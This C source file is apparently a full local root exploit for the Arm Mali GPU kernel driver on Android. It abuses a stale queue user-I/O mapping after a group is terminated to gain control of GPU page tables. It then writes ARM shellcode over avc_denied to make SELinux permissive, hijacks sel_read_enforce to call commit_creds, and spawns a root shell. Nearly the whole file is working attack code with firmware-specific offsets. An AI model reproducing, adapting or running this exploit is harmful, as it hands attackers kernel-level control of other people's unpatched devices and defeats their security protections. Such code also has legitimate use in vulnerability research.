#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include "stdbool.h"
#include <sys/syscall.h>
#include <pthread.h>

//From https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17
#include "CL/cl.h"
#include "mali_kbase_ioctl.h"
#include "mali_base_csf_kernel.h"
#include "mali_base_kernel.h"
#include "mem_read_write.h"
#include "mempool_utils.h"
#include "firmware_offsets.h"

#define MALI "/dev/mali0"

#define RESERVED_SIZE 32

#define TOTAL_RESERVED_SIZE 1024

static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];

static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2411;

static uint64_t avc_deny = AVC_DENY_2411;

/*
Overwriting SELinux to permissive
  strb wzr, [x0]
  mov x0, #0
  ret
*/
static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};

static uint32_t root_code[8] = {0};

static int open_dev(char* name) {
  int fd = open(name, O_RDWR);
  if (fd == -1) {
    err(1, "cannot open %s\n", name);
  }
  return fd;
}

int find_mali_fd() {
  int test_fd = open("/dev/null", O_RDWR);
  char file_path[256];
  char proc_string[256];
  for (int i = 3; i < test_fd; i++) {
    sprintf(proc_string, "/proc/self/fd/%d", i);
    if(readlink(proc_string, file_path, 256) > 0) {
      if (strncmp(file_path, MALI, 10) == 0) {
        close(test_fd);
        return i;
      }
    }
  }
  close(test_fd);
  return -1;
}

int find_pgd(uint64_t* userio_addr) {
  for (int i = 0; i < 0x2000/8; i++) {
    uint64_t entry = *(userio_addr + i + 0x1000/8);
    if ((entry & 0x443) == 0x443) {
      LOG("found entry %lx at %d in page %d\n", entry, i%(0x1000/8), i/(0x1000/8));
      return i/(0x1000/8);
    }
  }
  return -1;
}

void queue_register(int fd, uint64_t queue_addr, uint32_t queue_pages) {
  struct kbase_ioctl_cs_queue_register reg = {0};
  reg.buffer_gpu_addr = queue_addr;
  reg.buffer_size = queue_pages;
  if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_REGISTER, &reg) < 0) {
    err(1, "register queue failed\n");
  }
}

uint64_t queue_bind(int fd, uint64_t queue_addr, uint8_t group_handle, uint8_t csi_index) {
  union kbase_ioctl_cs_queue_bind bind = {0};
  bind.in.buffer_gpu_addr = queue_addr;
  bind.in.group_handle = group_handle;
  bind.in.csi_index = csi_index;
  if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_BIND, &bind) < 0) {
    err(1, "bind queue failed\n");
  }
  return bind.out.mmap_handle;
}

uint8_t kcpu_queue_new(int fd) {
  struct kbase_ioctl_kcpu_queue_new queue_new = {0};
  if (ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_CREATE, &queue_new) < 0) {
    err(1, "kcpu queue create failed\n");
  }
  return queue_new.id;
}

void write_shellcode(int mali_fd, uint64_t pgd, uint64_t* reserved, cl_command_queue command_queue, struct rw_mem_kernel* kernel, struct rw_mem_kernel* kernel32) {
  uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
  uint64_t* overwrite_index = (uint64_t*)(pgd + OVERWRITE_INDEX * sizeof(uint64_t));
  *overwrite_index = avc_deny_addr;

  usleep(100000);
  //Go through the reserve pages addresses to write to avc_denied with our own shellcode
  write_func(mali_fd, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32);
  //Triggers avc_denied to disable SELinux
  open("/dev/kmsg", O_RDONLY);

  uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
  *overwrite_index = sel_read_enforce_addr;
  //Call commit_creds to overwrite process credentials to gain root
  write_func(mali_fd, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32);

}

int main() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  fixup_root_shell(INIT_CRED_2411, COMMIT_CREDS_2411, SEL_READ_ENFORCE_2411, ADD_INIT_2411, ADD_COMMIT_2411, &(root_code[0]));

  cl_platform_id platform_id = NULL;
  cl_device_id device_id = NULL;
  cl_uint ret_num_devices;
  cl_uint ret_num_platforms;

  cl_int ret = clGetPlatformIDs(1, &platform_id, &ret_num_platforms);
  if (ret != CL_SUCCESS) {
    err(1, "fail to get platform\n");
  }

  ret = clGetDeviceIDs( platform_id, CL_DEVICE_TYPE_DEFAULT, 1, 
            &device_id, &ret_num_devices);
  if (ret != CL_SUCCESS) {
    err(1, "fail to get Device ID\n");
  }

  cl_context context = clCreateContext( NULL, 1, &device_id, NULL, NULL, &ret);
  if (ret != CL_SUCCESS) {
    err(1, "fail to create context\n");
  }

  cl_command_queue command_queue = clCreateCommandQueueWithProperties(context, device_id, NULL, &ret);
  if (ret != CL_SUCCESS) {
    err(1, "fail to create command_queue\n");
  }

  int mali_fd = find_mali_fd();

  void* gpu_addr = map_gpu(mali_fd, 1, 1, false, 0);
  LOG("gpu_addr %lx\n", (uint64_t)gpu_addr);
  queue_register(mali_fd, (uint64_t)gpu_addr, 0x1000);
  union kbase_ioctl_cs_queue_group_create gc = {0};
  if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &gc) < 0) {
    err(1, "Failed to create group\n");
  }
  uint8_t group_handle = gc.out.group_handle;
  uint64_t cookie = queue_bind(mali_fd, (uint64_t)gpu_addr, group_handle, 0);
  LOG("group_handle %d cookie %lx\n", group_handle, cookie);
  uint64_t* queue_userio = (uint64_t*)mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookie);
  if (queue_userio == MAP_FAILED) {
    err(1, "mmap failed\n");
  }
  struct kbase_ioctl_cs_queue_group_term gt = {0};
  gt.group_handle = group_handle;
  if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE, &gt) < 0) {
    err(1, "Failed to terminate group\n");
  }
  union kbase_ioctl_cs_queue_group_create gc2 = {0};
  if (ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &gc2) < 0) {
    err(1, "Failed to create group\n");
  }
  group_handle = gc2.out.group_handle;
  cookie = queue_bind(mali_fd, (uint64_t)gpu_addr, group_handle, 0);
  LOG("group_handle %d cookie %lx\n", group_handle, cookie);
  uint64_t* queue_userio2 = (uint64_t*)mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, cookie);
  if (queue_userio2 == MAP_FAILED) {
    err(1, "mmap2 failed\n");
  }

  uint64_t y0 = *(queue_userio2 + 0x1000/8);


  reserve_pages(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
  uint64_t drain = drain_mem_pool(mali_fd);
  release_mem_pool(mali_fd, drain);

  munmap(queue_userio, 0x3000);
  map_reserved(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
  int idx = find_pgd(queue_userio2);
  if (idx == -1) {
    err(1, "Cannot find page table entry\n");
  }

  struct rw_mem_kernel kernel = create_rw_mem(context, &device_id, true);
  struct rw_mem_kernel kernel32 = create_rw_mem(context, &device_id, false);
  uint64_t write_addr = 0x1000 + (uint64_t)queue_userio2 + 0x1000;
  write_shellcode(mali_fd, write_addr, &(reserved[0]), command_queue, &kernel, &kernel32);
  LOG("run enforce\n");
  run_enforce();
  LOG("clean up\n");
  uint64_t* cleanup_addr = (uint64_t*)(write_addr + OVERWRITE_INDEX * sizeof(uint64_t));
  uint64_t invalid = 2;
  *cleanup_addr = invalid;
  ret = clFinish(command_queue);
  releaseKernel(&kernel);
  releaseKernel(&kernel32);
  ret = clReleaseCommandQueue(command_queue);
  ret = clReleaseContext(context);
  system("sh");
 }
